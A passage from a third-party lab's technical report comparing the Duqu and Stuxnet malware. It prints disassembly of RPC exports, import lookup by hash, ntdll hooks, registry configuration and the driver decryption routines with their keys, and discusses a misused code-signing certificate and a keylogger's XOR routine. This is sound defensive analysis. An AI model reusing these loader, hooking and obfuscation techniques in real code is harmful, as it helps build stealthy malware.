.text:10001CE1 mov [ebp-4], al
.text:10001CE4 mov eax, esi
.text:10001CE6 push eax
.text:10001CE7 call each_export_calls_1002215A
.text:10001CEC
.text:10001CEC loc_10001CEC: ; DATA XREF: sub_10001D1E+12 o
.text:10001CEC xor eax, eax
.text:10001CEE mov ecx, [ebp-0Ch]
.text:10001CF1 mov large fs:0, ecx
.text:10001CF8 pop edi
.text:10001CF9 pop esi
.text:10001CFA pop ebx
.text:10001CFB leave
.text:10001CFC retn
.text:10001CFD ; ---------------------------------------------------------------------------
.text:10001CFD
.text:10001CFD loc_10001CFD: ; CODE XREF: _27_RPCServer+3D j
.text:10001CFD call sub_100193EA
.text:10001D02 lea eax, [ebp-11h]
.text:10001D05 push eax
.text:10001D06 call sub_10001E2D
.text:10001D0B push 1 ; dwExitCode
.text:10001D0D mov eax, dword_1006A840
.text:10001D12 call sub_10022379
.text:10001D17 push eax ; hLibModule
.text:10001D18 call ds:FreeLibraryAndExitThread
.text:10001D18 _27_RPCServer endp
Sample 8 – Export function _27 in oam7a.pnf (Stuxnet)
14 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
Figure 6 – Cross references to library function RPCServerUnregisterIf in oam7a.pnf
15 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
Figure 7 – Cross references to library function RPCServerUnregisterIf in netp191.pnf
Figure 6 and Figure 7 show the cross‐reference graph to the library function
RpcServerUnregisterIf. An obvious similarity between the two control flows is that in both
cases RpcServerUnregisterIf has two ingress edges, RPCStopServerListening_... and
CallRPCUnregisterIF_…. Furthermore, the number of function calls from the RPC server
export functions to the examined library function is three via CallRPCUnregisterIF_…
Furthermore, we identified that Duqu uses the same type of bindings as Stuxnet (see Sample
9 and Sample 10 for details).
.text:10006FB8 push ebp
.text:10006FB9 mov ebp, esp
.text:10006FBB and esp, 0FFFFFFF8h
.text:10006FBE push offset aRpcss ; "rpcss"
.text:10006FC3 call sub_10006FE0
.text:10006FC8 push offset aNetsvcs ; "netsvcs"
16 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. .text:10006FCD call sub_10006FE0
.text:10006FD2 push offset aBrowser ; "browser"
.text:10006FD7 call sub_10006FE0
.text:10006FDC mov esp, ebp
.text:10006FDE pop ebp
.text:10006FDF retn
Sample 9 – Duqu calls the RPC functions via three bindings, similarly to Stuxnet
.text:100197F1 push ebp
.text:100197F2 mov ebp, esp
.text:100197F4 and esp, 0FFFFFFF8h
.text:100197F7 push offset aRpcss ; "rpcss"
.text:100197FC call sub_10019819
.text:10019801 push offset aNetsvcs ; "netsvcs"
.text:10019806 call sub_10019819
.text:1001980B push offset aBrowser ; "browser"
.text:10019810 call sub_10019819
.text:10019815 mov esp, ebp
.text:10019817 pop ebp
.text:10019818 retn
Sample 10 – Stuxnet calls the RPC functions via three bindings
We also found many other correlations (e.g., the impersonation of anonymous tokens)
between the two RPC mechanisms. As a consequence, we conclude that Duqu uses the same
(or very similar) RPC logic as Stuxnet to update itself.
Unfortunately, we still could not dissect the exact mechanism of the remaining exports of
Duqu, but we suspect that they implement the same functionalities as the corresponding
exports of Stuxnet.
17 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
6. Import preparation by hashes/checksums
Both Stuxnet and Duqu uses the trick that some exports are prepared by looking up
checksums/hashes in particular DLL‐s and comparing the results instead of directly naming
the specific function (more info in case of Stuxnet driver is available in [ThabetMrxCls]
Chapter 3‐4.)
text:10001C41 push edi
.text:10001C42 push 790E4013h ; GetKernelObjectSecurity
.text:10001C47 mov [ebp+var_24], eax
.text:10001C4A mov [ebp+var_34], eax
.text:10001C4D call searchin_dll2_100022C7
.text:10001C52 mov edi, eax
.text:10001C54 mov [esp+10h+var_10], 0E876E6Eh ; GetSecurityDescriptorDacl
.text:10001C5B call searchin_dll2_100022C7
.text:10001C60 push 0E1BD5137h ; BuildExplicitAccessWithNameW
.text:10001C65 mov [ebp+var_C], eax
.text:10001C68 call searchin_dll2_100022C7
.text:10001C6D push 2F03FA6Fh ; SetEntriesInAclW
.text:10001C72 mov ebx, eax
.text:10001C74 call searchin_dll2_100022C7
.text:10001C79 push 0C69CF599h ; MakeAbsoluteSD
.text:10001C7E mov [ebp+var_4], eax
.text:10001C81 call searchin_dll2_100022C7
.text:10001C86 push 0CE8CAD1Ah ; SetSecurityDescriptorDacl
.text:10001C8B mov [ebp+var_8], eax
.text:10001C8E call searchin_dll2_100022C7
.text:10001C93 push 9A71C67h ; SetKernelObjectSecurity
.text:10001C98 mov [ebp+var_10], eax
.text:10001C9B call searchin_dll2_100022C7
.text:10002565 call sub_1000211F
.text:1000256A mov ecx, [ebp+var_4]
.text:1000256D mov [ecx], eax
.text:1000256F push 4BBFABB8h ; lstrcmpiW
.text:10002574 call searchin_dll1_100022B6
.text:10002579 pop ecx
.text:1000257A mov ecx, [ebp+var_4]
.text:1000257D mov [ecx+8], eax
.text:10002580 push 0A668559Eh ; VirtualQuery
.text:10002585 call searchin_dll1_100022B6
.text:1000258A pop ecx
.text:1000258B mov ecx, [ebp+var_4]
.text:1000258E mov [ecx+0Ch], eax
.text:10002591 push 4761BB27h ; VirtualProtect
.text:10002596 call searchin_dll1_100022B6
.text:1000259B pop ecx
.text:1000259C mov ecx, [ebp+var_4]
.text:1000259F mov [ecx+10h], eax
.text:100025A2 push 0D3E360E9h ; GetProcAddress
.text:100025A7 call searchin_dll1_100022B6
.text:100025AC pop ecx
.text:100025AD mov ecx, [ebp+var_4]
.text:100025B0 mov [ecx+14h], eax
.text:100025B3 push 6B3749B3h ; MapViewOfFile
.text:100025B8 call searchin_dll1_100022B6
.text:100025BD pop ecx
.text:100025BE mov ecx, [ebp+var_4]
.text:100025C1 mov [ecx+18h], eax
.text:100025C4 push 0D830E518h ; UnmapViewOfFile
.text:100025C9 call searchin_dll1_100022B6
.text:100025CE pop ecx
.text:100025CF mov ecx, [ebp+var_4]
.text:100025D2 mov [ecx+1Ch], eax
18 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. .text:100025D5 push 78C93963h ; FlushInstructionCache
.text:100025DA call searchin_dll1_100022B6
.text:100025DF pop ecx
.text:100025E0 mov ecx, [ebp+var_4]
.text:100025E3 mov [ecx+20h], eax
.text:100025E6 push 0D83E926Dh ; LoadLibraryW
.text:100025EB call searchin_dll1_100022B6
.text:100025F0 pop ecx
.text:100025F1 mov ecx, [ebp+var_4]
.text:100025F4 mov [ecx+24h], eax
.text:100025F7 push 19BD1298h ; FreeLibrary
.text:100025FC call searchin_dll1_100022B6
.text:10002601 pop ecx
.text:10002602 mov ecx, [ebp+var_4]
.text:10002605 mov [ecx+28h], eax
.text:10002608 push 5FC5AD65h ; ZwCreateSection
.text:1000260D call searchin_dll3_100022D8
.text:10002612 pop ecx
.text:10002613 mov ecx, [ebp+var_4]
.text:10002616 mov [ecx+2Ch], eax
.text:10002619 push 1D127D2Fh ; ZwMapViewOfSection
.text:1000261E call searchin_dll3_100022D8
.text:10002623 pop ecx
.text:10002624 mov ecx, [ebp+var_4]
.text:10002627 mov [ecx+30h], eax
.text:1000262A push 6F8A172Dh ; CreateThread
.text:1000262F call searchin_dll1_100022B6
.text:10002634 pop ecx
.text:10002635 mov ecx, [ebp+var_4]
.text:10002638 mov [ecx+34h], eax
.text:1000263B push 0BF464446h ; WaitForSingleObject
.text:10002640 call searchin_dll1_100022B6
.text:10002645 pop ecx
.text:10002646 mov ecx, [ebp+var_4]
.text:10002649 mov [ecx+38h], eax
.text:1000264C push 0AE16A0D4h ; GetExitCodeThread
.text:10002651 call searchin_dll1_100022B6
.text:10002656 pop ecx
.text:10002657 mov ecx, [ebp+var_4]
.text:1000265A mov [ecx+3Ch], eax
.text:1000265D push 0DB8CE88Ch ; ZwClose
.text:10002662 call searchin_dll3_100022D8
.text:10002667 pop ecx
.text:10002668 mov ecx, [ebp+var_4]
.text:1000266B mov [ecx+40h], eax
.text:1000266E push 3242AC18h ; GetSystemDirectoryW
.text:10002673 call searchin_dll1_100022B6
.text:10002678 pop ecx
.text:10002679 mov ecx, [ebp+var_4]
.text:1000267C mov [ecx+44h], eax
.text:1000267F push 479DE84Eh ; CreateFileW
.text:10002684 call searchin_dll1_100022B6
Sample 11 – netp191_res302 looking up imports in kernel32.dll
19 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
.text:10002197 mov ecx, [edx]
.text:10002199 add ecx, ebx
.text:1000219B mov al, [ecx]
.text:1000219D mov [ebp+var_8], 0F748B421h
.text:100021A4 test al, al
.text:100021A6 jz short loc_100021C3
.text:100021A8
.text:100021A8 loc_100021A8: ; CODE XREF: search_export_by_hash_1000214A+74 j
.text:100021A8 mov ebx, [ebp+var_8]
.text:100021AB imul ebx, 0D4C2087h
.text:100021B1 movzx eax, al
.text:100021B4 xor ebx, eax
.text:100021B6 inc ecx
.text:100021B7 mov al, [ecx]
.text:100021B9 mov [ebp+var_8], ebx
.text:100021BC test al, al
.text:100021BE jnz short loc_100021A8
.text:100021C0 mov ebx, [ebp+arg_0]
.text:100021C3
.text:100021C3 loc_100021C3: ; CODE XREF: search_export_by_hash_1000214A+5C j
.text:100021C3 mov eax, [ebp+var_8]
.text:100021C6 cmp [ebp+arg_4], eax ; compare argument magic to calculated hash
.text:100021C9 jz short loc_100021E0
.text:100021CB inc [ebp+var_4]
.text:100021CE mov eax, [ebp+var_4]
.text:100021D1 add edx, 4
.text:100021D4 cmp eax, [ebp+var_C]
.text:100021D7 jb short loc_10002197
Sample 12 – Search loop and checksum calculation in cmi4432_res302 import by hash/checksum
The checksum/hash calculation works on the export names without the terminating \0
character. A constant is loaded first, then for each character of the name of the export, an
imul is calculated over the partial hash and then the character is XORed to the result as
shown above.
While the trick of looking up import by hash is not unknown in malware code, this is another
similarity between Duqu and Stuxnet. Note that the checksum calculation seems to be
different between the two codes. Note also that many security related functions, such as
SetSecurityDescriptorDacl, are imported as seen in the sample above, which are most likely
related to the functionality of Stuxnet described in [SymantecDossier] (page 14).
For the DLLs used by Duqu, we calculated the hash results. To simplify the work of others we
uploaded the results to a publicly available web site, the download link is given in the
Download section of this document.
20 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
7. Hooks
The hook functions work in the same way for Stuxnet and Duqu. They both use non‐existent
“virtual” files for using libraries from modules.
In case of Duqu, this is sort151C.nls (or similar with random two byte hex string created from
the results of gettickcount() and process id) (Figure 8), while in case of Stuxnet it is
KERNEL32.DLL.ASLR.[HEXSTRING] or SHELL32.DLL.ASLR.[HEXSTRING], where HEXSTRING is a
two‐byte random hex string. When these libraries are requested, the corresponding module
is loaded into the address space of the process (see Figure 10 from [EsetMicroscope] for
more information).
Figure 8 – The hooks of Duqu and the non‐existent emulated file
21 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
Figure 9 – The hooks of Stuxnet [EsetMicroscope]
Figure and Table show that both threats hook the same ntdll.dll functions.
Stuxnet Hook Duqu Hook
ZwMapViewOfSection ZwMapViewOfSection
ZwCreateSection ZwCreateSection
ZwOpenFile ZwOpenFile
ZwClose ZwClose
ZwQueryAttributesFile ZwQueryAttributesFile
ZwQuerySection ZwQuerySection
Table 5 – The hooked functions of ntdll.dll are exactly the same in both malware codes.
It is interesting, that antivirus programs do not detect this very strange functionality with
non‐existent files and from the events we suppose to do changes in this field. During the
injection Duqu maps read/write/execute memory areas to system processes like lsass.exe. It
is also very strange that anti‐malware tools generally avoid to check these memory areas
which are very rare to normal programs. So a general countermeasure might be to mitigate
these issues.
22 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
8. Payload and configuration encryption
Both jminet7.sys and cmi4432.sys are generic loaders for malware code, in a very similar
way as mrxcls.sys works in the case of Stuxnet. [Chappell 2010] discusses that the loader in
the case of the Stuxnet is so general that it can be used to load any malware. The case is the
same for Duqu components: both kernel drivers work in the same way so here we only
explain the jminet7.sys process.
The Windows boot up process starts jminet7.sys as it is defined in the registry in
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\JmiNET3 (note the
difference between jminet7 and JmiNET3). As jminet7.sys starts, it loads some configuration
(Config 1) variables from the .sys file itself and decrypts it (Decrypt 1). The configuration
(Config 1) contains the name of the registry key, where the variable configuration part is
located, and the secret key to decrypt it. In our case, the “FILTER” key contains the
configuration (Config 2) in binary encrypted form. (In case of Stuxnet the process is the
same, but configuration (Config 2) is stored under the key “DATA”). Now, the loader,
jminet7.sys reads the registry and decrypts configuration (Config 2 / Decrypt 2). This
contains the name of the PNF file (DLL) and the process name where the file should be
injected. Then, after 15 minutes of waiting time (not yet known if it is configurable or hard‐
coded) jminet7.sys loads and decrypts netp191.pnf (Decrypt 3).
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\JmiNET3]
"Description"="JmiNET3"
"DisplayName"="JmiNET3"
"ErrorControl"=dword:00000000
"Group"="Network"
"ImagePath"="\\??\\C:\\WINDOWS\\system32\\Drivers\\jminet7.sys"
"Start"=dword:00000001
"Type"=dword:00000001
"FILTER"=hex:a0,35,58,da,32,ee,d5,01,c0,15,8b,1f,4b,5c,d1,a1,0b,8b,e7,85,1c,7f,\
6e,f2,ef,31,6a,18,3c,80,78,c7,d4,c5,50,90,7a,78,66,9d,6b,93,00,a1,f5,3d,26,\
ce,cb,1c,1e,45,b0,ff,a0,dd,c0,a3,e8,58,31,0c,b2,a1,dd,11,37,ba,aa,1e,66,d3,\
1f,b4,2f,e1,7c,eb,b6,a2,58,a0,25,62,77,b5,41,d3,71,02,1a,be,cb,bb,52,43,76,\
43,b6,d0,67,25,19,10,27,67,a5,15,38,9f,8f
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\JmiNET3\Enum]
"0"="Root\\LEGACY_JMINET3\\0000"
"Count"=dword:00000001
"NextInstance"=dword:00000001
Sample 13 – Registry data for jminet7
During the starting process 3 decryption processes are performed altogether, exactly as in
Stuxnet. Now, let’s compare the keys of the decryption operations.
23 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. Description Key
Compiled ‐in configuration (Config‐1) No key set, fixed decryption routine
(essentially the same as key=0)
Variable configuration in registry (Config‐2) 0xAE240682 (loaded from Config‐ 1)
Decryption key for netp191.pnf 0xAE240682 (loaded from Config‐ 2)
Keys in the case of Duqu (jminet7 and cmi4432)
Description Key
Compiled ‐in configuration (Config‐1) key=0
Variable configuration in registry (Config‐2) 0xAE240682 (loaded from Config‐ 1)
Decryption key for oem7a.pnf 0x01AE0000 (loaded from Config‐ 2)
Keys in the case of Stuxnet (mrxcls.sys)
One can easily recognize that the same key is used in Stuxnet as in the case of Duqu. Note
that many keys contain “0xAE” and later we show more occurrences of this magic number.
24 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
0000000000: 07 00 00 00 82 06 24 AE │ 5C 00 52 00 45 00 47 00 • ' ♠$R\ R E G
0000000010: 49 00 53 00 54 00 52 00 │ 59 00 5C 00 4D 00 41 00 I S T R Y \ M A
0000000020: 43 00 48 00 49 00 4E 00 │ 45 00 5C 00 53 00 59 00 C H I N E \ S Y
0000000030: 53 00 54 00 45 00 4D 00 │ 5C 00 43 00 75 00 72 00 S T E M \ C u r
0000000040: 72 00 65 00 6E 00 74 00 │ 43 00 6F 00 6E 00 74 00 r e n t C o n t
0000000050: 72 00 6F 00 6C 00 53 00 │ 65 00 74 00 5C 00 53 00 r o l S e t \ S
0000000060: 65 00 72 00 76 00 69 00 │ 63 00 65 00 73 00 5C 00 e r v i c e s \
0000000070: 4A 00 6D 00 69 00 4E 00 │ 45 00 54 00 33 00 00 00 J m i N E T 3
0000000080: 00 00 00 00 00 00 00 00 │ 00 00 00 00 00 00 00 00
0000000090: 00 00 00 00 00 00 00 00 │ 00 00 00 00 00 00 00 00
00000000A0: 00 00 00 00 00 00 00 00 │ 00 00 00 00 00 00 00 00
00000000B0: 00 00 00 00 00 00 00 00 │ 00 00 00 00 00 00 00 00
00000000C0: 00 00 00 00 00 00 00 00 │ 00 00 00 00 00 00 00 00
00000000D0: 46 00 49 00 4C 00 54 00 │ 45 00 52 00 00 00 6C 00 F I L T E R l
00000000E0: 00 00 00 00 5C 00 44 00 │ 65 00 76 00 69 00 63 00 \ D e v i c
00000000F0: 65 00 5C 00 7B 00 33 00 │ 30 00 39 00 33 00 41 00 e \ { 3 0 9 3 A
0000000100: 41 00 5A 00 33 00 2D 00 │ 31 00 30 00 39 00 32 00 A Z 3 - 1 0 9 2
0000000110: 2D 00 32 00 39 00 32 00 │ 39 00 2D 00 39 00 33 00 - 2 9 2 9 - 9 3
0000000120: 39 00 31 00 7D 00 00 00 │ 00 00 00 00 00 00 00 00 9 1 }
…
Sample 14 – Decrypted Config‐1 for Duqu from jminet7.sys, key in yellow
0000000000: 00 00 00 00 01 00 00 00 │ 10 BB 00 00 01 00 03 00 ☺ ►» ☺ ♥
0000000010: 82 06 24 AE 1A 00 00 00 │ 73 00 65 00 72 00 76 00 ' ♠$R→ s e r v
0000000020: 69 00 63 00 65 00 73 00 │ 2E 00 65 00 78 00 65 00 i c e s . e x e
0000000030: 00 00 38 00 00 00 5C 00 │ 53 00 79 00 73 00 74 00 8 \ S y s t
0000000040: 65 00 6D 00 52 00 6F 00 │ 6F 00 74 00 5C 00 69 00 e m R o o t \ i
0000000050: 6E 00 66 00 5C 00 6E 00 │ 65 00 74 00 70 00 31 00 n f \ n e t p 1
0000000060: 39 00 31 00 2E 00 50 00 │ 4E 00 46 00 00 00 D2 9 1 . P N F Ň
Sample 15 – Decrypted Config‐2 for Duqu jminet7.sys from registry
We can see that the decryption and configuration processes of Duqu and Stuxnet are very
similar. In both cases, the first decryption takes place just after the initialization of the driver,
before checking for Safe mode and kernel Debug mode. In Stuxnet, the decryption is the call
SUB_L00011C42, whereas in the case of Duqu it is the call SUB_L00011320 shown below.
Stuxnet’s 1st decryption call Duqu’s 1st decryption call
L000103E1:
mov byte ptr [L00014124],01h
mov dword ptr [ebp‐ 1Ch],L00013E80
L000103EF:
cmp dword ptr [ebp‐ 1Ch],L00013E84
jnc L00010409
mov eax,[ebp‐1Ch]
mov eax,[eax]
cmp eax,ebx
jz L00010403
call eax
L00010403:
add dword ptr [ebp‐ 1Ch],00000004h
jmp L000103EF
L00010409:
xor eax,eax
L0001040B:
cmp eax,ebx
jnz L000104BA L000105C4:
mov byte ptr [L00015358],01h
mov esi,L00015180
L000105D0:
mov [ebp‐ 1Ch],esi
cmp esi,L00015184
jnc L000105E8
mov eax,[esi]
test eax,eax
jz L000105E3
call eax
L000105E3:
add esi,00000004h
jmp L000105D0
L000105E8:
xor eax,eax
L000105EA:
test eax,eax
jnz L00010667
25 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. mov al,[L00013E98]
test al,al
jz L00010433
xor eax,eax
mov esi,00000278h
mov ecx,L00013E99
call SUB_L00011C42
mov [L00013E98],bl
L00010433:
mov eax,[L00013E99]
test al,01h
jz L0001044C
mov eax,[ntoskrnl.exe!InitSafeBootMode]
cmp [eax],ebx
jz L0001044C mov edi,[ebp+0Ch]
call SUB_L00011320
mov eax,[L00015190]
test al,01h
jz L00010611
mov ecx,[ntoskrnl.exe!InitSafeBootMode]
Why does the decryption of the configuration (Config‐1) happen before the checks for Safe
Mode and kernel debugging? The reason is probably that the behavior of the malware upon
the detection of Safe Mode or kernel debugging is configurable; hence it needs the
configuration (Config‐1) before the checking. The last bit of the first byte of the configuration
(L00013E99 in Stuxnet listing above) controls if the malware should be active during safe
mode or not, and if the 7th bit controls the same if kernel mode debugging is active. Duqu
implements the same functionality with almost the same code.
An important difference between the Stuxnet and the Duqu decryption calls is that in the
case of Stuxnet calling the same subroutine does all three decryptions.
In the case of Duqu, the first decryption calls a slightly different routine, where the
instruction mov ecx, 08471122h is used as shown below. For the other two decryption calls,
this instruction is changed to XOR ecx, 08471122h. Thus, in the first case, ecx is a fixed
decryption key, and in the other two cases, ecx contains a parameter received from the call.
Stuxnet decryption routine Duqu decryption routine
SUB_L00011C42:
push ebp
mov ebp,esp
sub esp,00000010h
mov edx,eax
xor edx,D4114896h
xor eax,A36ECD00h
mov [ebp‐ 04h],esi
shr dword ptr [ebp‐ 04h],1
push ebx
mov [ebp‐ 10h],edx
mov [ebp‐ 0Ch],eax
mov dword ptr [ebp‐ 08h],00000004h
push edi SUB_L00011320:
push esi
mov ecx,08471122h
xor esi,esi
jmp L00011330
Align 8
L00011330:
xor [esi+L00015190],cl
ror ecx,03h
mov edx,ecx
imul edx,ecx
mov eax,1E2D6DA3h
mul edx
mov eax,ecx
26 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. L00011C6A:
xor edx,edx
test esi,esi
jbe L00011C87
mov al,[ebp‐ 0Ch]
imul [ebp‐ 08h]
mov bl,al
L00011C78:
mov al,[ebp‐ 10h]
imul dl
add al,bl
xor [edx+ecx],al
inc edx
cmp edx,esi
jc L00011C78
L00011C87:
xor eax,eax
cmp [ebp‐ 04h],eax
jbe L00011CA2
lea edx,[esi+01h]
shr edx,1
lea edi,[edx+ecx]
L00011C96:
mov dl,[edi+eax]
xor [eax+ecx],dl
inc eax
cmp eax,[ebp‐04h]
jc L00011C96
L00011CA2:
lea eax,[esi‐01h]
jmp L00011CAF
L00011CA7:
mov dl,[eax+ecx ‐01h]
sub [eax+ecx],dl
dec eax
L00011CAF:
cmp eax,00000001h
jnc L00011CA7
dec [ebp‐ 08h]
jns L00011C6A
pop edi
pop ebx
leave
retn imul eax,04747293h
shr edx,0Ch
lea edx,[edx+eax+01h]
add esi,00000001h
xor ecx,edx
cmp esi,000001ACh
jc L00011330
mov ax,[L00015198]
test ax,ax
pop esi
jnz L00011382
movzx ecx,[edi]
mov edx,[edi+04h]
push ecx
push edx
push L00015198
call jmp_ntoskrnl.exe!memcpy
add esp,0000000Ch
L00011382:
retn
Sample 16 – Decryption routine comparison
27 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
It is very hard to precisely characterize the similarities of the kernel driver codes of Duqu and
Stuxnet. In the screenshot below, we present the registry loaders, and the decrypting part of
the two. They are very similar, but there are clear differences. It is clearly interesting, but as
we don’t have enough expertise, it would be just mere speculation from us to say which
code is originated from which code, or if one code is based on the reverse‐ engineering of the
other, or, at the end, it is also possible that someone wanted to write a Stuxnet‐ alike clone
and he/she wanted to us to believe that the authors have relations.
Figure 10 – registry loader and decrypting part. Left: Stuxnet – Right: Duqu loader
28 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
9. PNF config file encryption
In case of Stuxnet, a PNF file, mdmcpq3dd.pnf contains configuration information that is
used by the payload (injected DLL), e.g. it contains the names of the Command & Control
servers. This file in our Stuxnet sample is 6619 bytes long, and the first part of the
configuration is encrypted by simple XOR with 0xFF. The last half of the configuration seems
to be encrypted by different means.
In Duqu, the configuration file is encrypted by XOR operations with the 7‐byte key (0x2b
0x72 0x73 0x34 0x99 0x71 0x98), the file is 6750 bytes long. Its content is not yet fully
analyzed; it mainly contains strings about the system itself, but not the name of a C&C
server.
After decryption, Duqu checks if the file begins with 09 05 79 AE in hex (0xAE790509 as
integer). We can thus observe another occurrence of the magic number AE. Note that
Stuxnet’s config file mdmcpq3.pnf also begins with this magic number. Interestingly, the
routine in Duqu also checks if the fifth byte is 0x1A. Moreover, at position 0xC, the
decrypted config file repeats the size of the file itself (0x1A5E), where in case of Stuxnet, this
size parameter only refers to the size of the first part of the configuration file (0x744 = 1860
bytes)
29 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
10. Comparison of cmi4432.sys and jminet7.sys
One could ask what is the difference between cmi4432.sys and jminet7.sys? The main
difference is of course the digital signature. jminet7.sys is not signed, and thus, it is shorter.
If we remove the digital signature from cmi4432.sys we find that both files are 24 960 bytes
long.
A basic binary comparison discovers only very tiny differences between the two codes. 2‐3
bytes are different in the header part, but then the code section is totally identical. The
encrypted configuration sections inside the drivers are slightly different (as we know they
contain references to different registry services). Finally, at the end of the driver binaries,
the driver descriptive texts are different due to the references to JMicron and XXXXX as
authors.
In summary, we can conclude that jminet7.sys and cmi4432.sys are essentially identical,
except for the identifiers and the digital signature. In addition, from their functionality we
can assert that cmi4432.sys is a malware loader routine, so the digital signature on it cannot
be intentional (by the manufacturer).
11. Code signing and its consequence
Digital signatures are used to assert the identity of the producer of software and the
integrity of the code. Code signing is used to prevent untrusted code from being executed.
Duqu’s cmi4432.sys is signed by XXXXX with a certificate that is still valid at the time of this
writing (see related Figures).
XXXXX's parent in the trust chain is Verisign Inc., the certificate was issued on 2009.08.03, it
uses the SHA1 hash function (it's not MD5 which has known weaknesses), and it belongs to
Class 3 certificates that provide a highest security level requiring for example physical
presence at the enrollment. The timestamp is set to 1899.12.30, which probably signifies
that no timestamp was given at the time of signing.
Apparent similarities with the Stuxnet malware suggest that the private key of XXXXX might
have been compromised and this calls for immediate revocation of their certificate
invalidating the public key. Interestingly, in the Stuxnet case it was speculated that an
insider's physical intrusion led to the compromise of the private keys of the involved
hardware manufacturer companies RealTek and JMicron as they were both located in
30 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. Hsinchu Science and Industrial Park, Hsinchu City, Taiwan. Although the current compromise
still affects a company in Taiwan, it is located in Taipei. There is no evidence for a large‐scale
compromise of Taiwanese hardware manufacturers, but the recurrence of events is at least
suspicious.
Immediate steps are needed to mitigate the impact of the malware. Similar to the Stuxnet
case, the certificate of XXXXX needs to be revoked and XXXXX’s code‐signing process must be
thoroughly audited by Verisign Inc. or any other top‐level CA that would issue a new
certificate for XXXXX. Revocation of the compromised certificate mitigates the spreading of
the malware, because Windows does not allow new installations of the driver with a
revoked certificate. This does not solve the problem completely, because already installed
drivers may keep running.
In the following pages we include some screenshots showing the digital signature on the
affected malware kernel rootkit driver. In one of the figures, we also show that Windows
stated that the certificate was still valid on October 5, 2011 with recent revocation
information.
Figure 11 – New CMI4432 rootkit loader with valid digital signature from XXXX,TW. Screenshot printed on
October 5, 2011.
31 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
12. Other components
12.1. Keylogger
No direct network communication was observed from the keylogger.
We checked the binary against virus scanner databases on some online tools. Interestingly,
for GFI somebody already submitted the sample before we obtained a sample for the
keylogger:
http://www.sunbeltsecurity.com/cwsandboxreport.aspx?id=85625782&cs=F61AFBECF2457
197D1B724CB78E3276E
In recent weeks, many virus scanners enlisted the software in their malware database.
32 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
.text:00401B96 xorcryptor_b31f_at_401b96 proc near ; CODE XREF: sub_401C86+13 p
.text:00401B96 ; loadsomemodule_401CE4+13 p ...
.text:00401B96
.text:00401B96 addr_ciphertext = dword ptr 4
.text:00401B96 addr_target = dword ptr 8
.text:00401B96
.text:00401B96 mov edx, [esp+addr_ciphertext]
.text:00401B9A test edx, edx
.text:00401B9C jnz short loc_401BA8
.text:00401B9E mov ecx, [esp+addr_target]
.text:00401BA2 xor eax, eax
.text:00401BA4 mov [ecx], ax
.text:00401BA7 retn
.text:00401BA8 ; ---------------------------------------------------------------------------
.text:00401BA8
.text:00401BA8 loc_401BA8: ; CODE XREF: xorcryptor_b31f_at_401b96+6 j
.text:00401BA8 mov eax, [esp+addr_target]
.text:00401BAC push edi
.text:00401BAD mov ecx, 0B31FB31Fh
.text:00401BB2 jmp short loc_401BC1
.text:00401BB4 ; ---------------------------------------------------------------------------
.text:00401BB4
.text:00401BB4 loc_401BB4: ; CODE XREF: xorcryptor_b31f_at_401b96+34 j
.text:00401BB4 cmp word ptr [eax+2], 0
.text:00401BB9 jz short loc_401BCC
.text:00401BBB add edx, 4
.text:00401BBE add eax, 4
.text:00401BC1
.text:00401BC1 loc_401BC1: ; CODE XREF: xorcryptor_b31f_at_401b96+1C j
.text:00401BC1 mov edi, [edx]
.text:00401BC3 xor edi, ecx
.text:00401BC5 mov [eax], edi
.text:00401BC7 test di, di
.text:00401BCA jnz short loc_401BB4 ; String is terminated by 00 characters, that stops
decryption
.text:00401BCC
.text:00401BCC loc_401BCC: ; CODE XREF: xorcryptor_b31f_at_401b96+23 j
.text:00401BCC pop edi
.text:00401BCD retn
.text:00401BCD xorcryptor_b31f_at_401b96 endp
Sample 17 – B3 1F XOR encryption routine from keylogger
1000E4D1 L1000E4D1:
1000E4D1 8B442408 mov eax,[esp+08h]
1000E4D5 57 push edi
1000E4D6 B91FB31FB3 mov ecx,B31FB31Fh
1000E4DB EB0D jmp L1000E4EA
1000E4DD L1000E4DD:
1000E4DD 6683780200 cmp word ptr [eax+02h],0000h
1000E4E2 7411 jz L1000E4F5
1000E4E4 83C204 add edx,00000004h
1000E4E7 83C004 add eax,00000004h
1000E4EA L1000E4EA:
1000E4EA 8B3A mov edi,[edx]
1000E4EC 33F9 xor edi,ecx
1000E4EE 8938 mov [eax],edi
1000E4F0 6685FF test di,di
1000E4F3 75E8 jnz L1000E4DD
1000E4F5 L1000E4F5:
1000E4F5 5F pop edi
1000E4F6 C3 retn
Sample 18 – B3 1F XOR encryption routine from cmi4432.pnf
33 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
v9 = pNumArgs;
if ( pNumArgs > 1 && !lstrcmpiW(*(LPCWSTR *)(commandlineparam + 4), L"xxx") )
{
v22 = 2;
while ( v22 < v9 )
{
v4 = 0;
if ( !check_options_sub_4013AE((int)&v22, v9, commandlineparam, (int)&v14) )
goto LABEL_13;
}
if ( createfile_stuff((int)&v14) && tempfile_eraser((int)&v14) && sub_401160((int)&v14, (int)&Memory,
(int)&v22) )
{
if ( sub_401269(Memory, v22) )
{
v10 = 1;
v4 = 0;
goto LABEL_14;
}
v4 = 0;
}
}
LABEL_13:
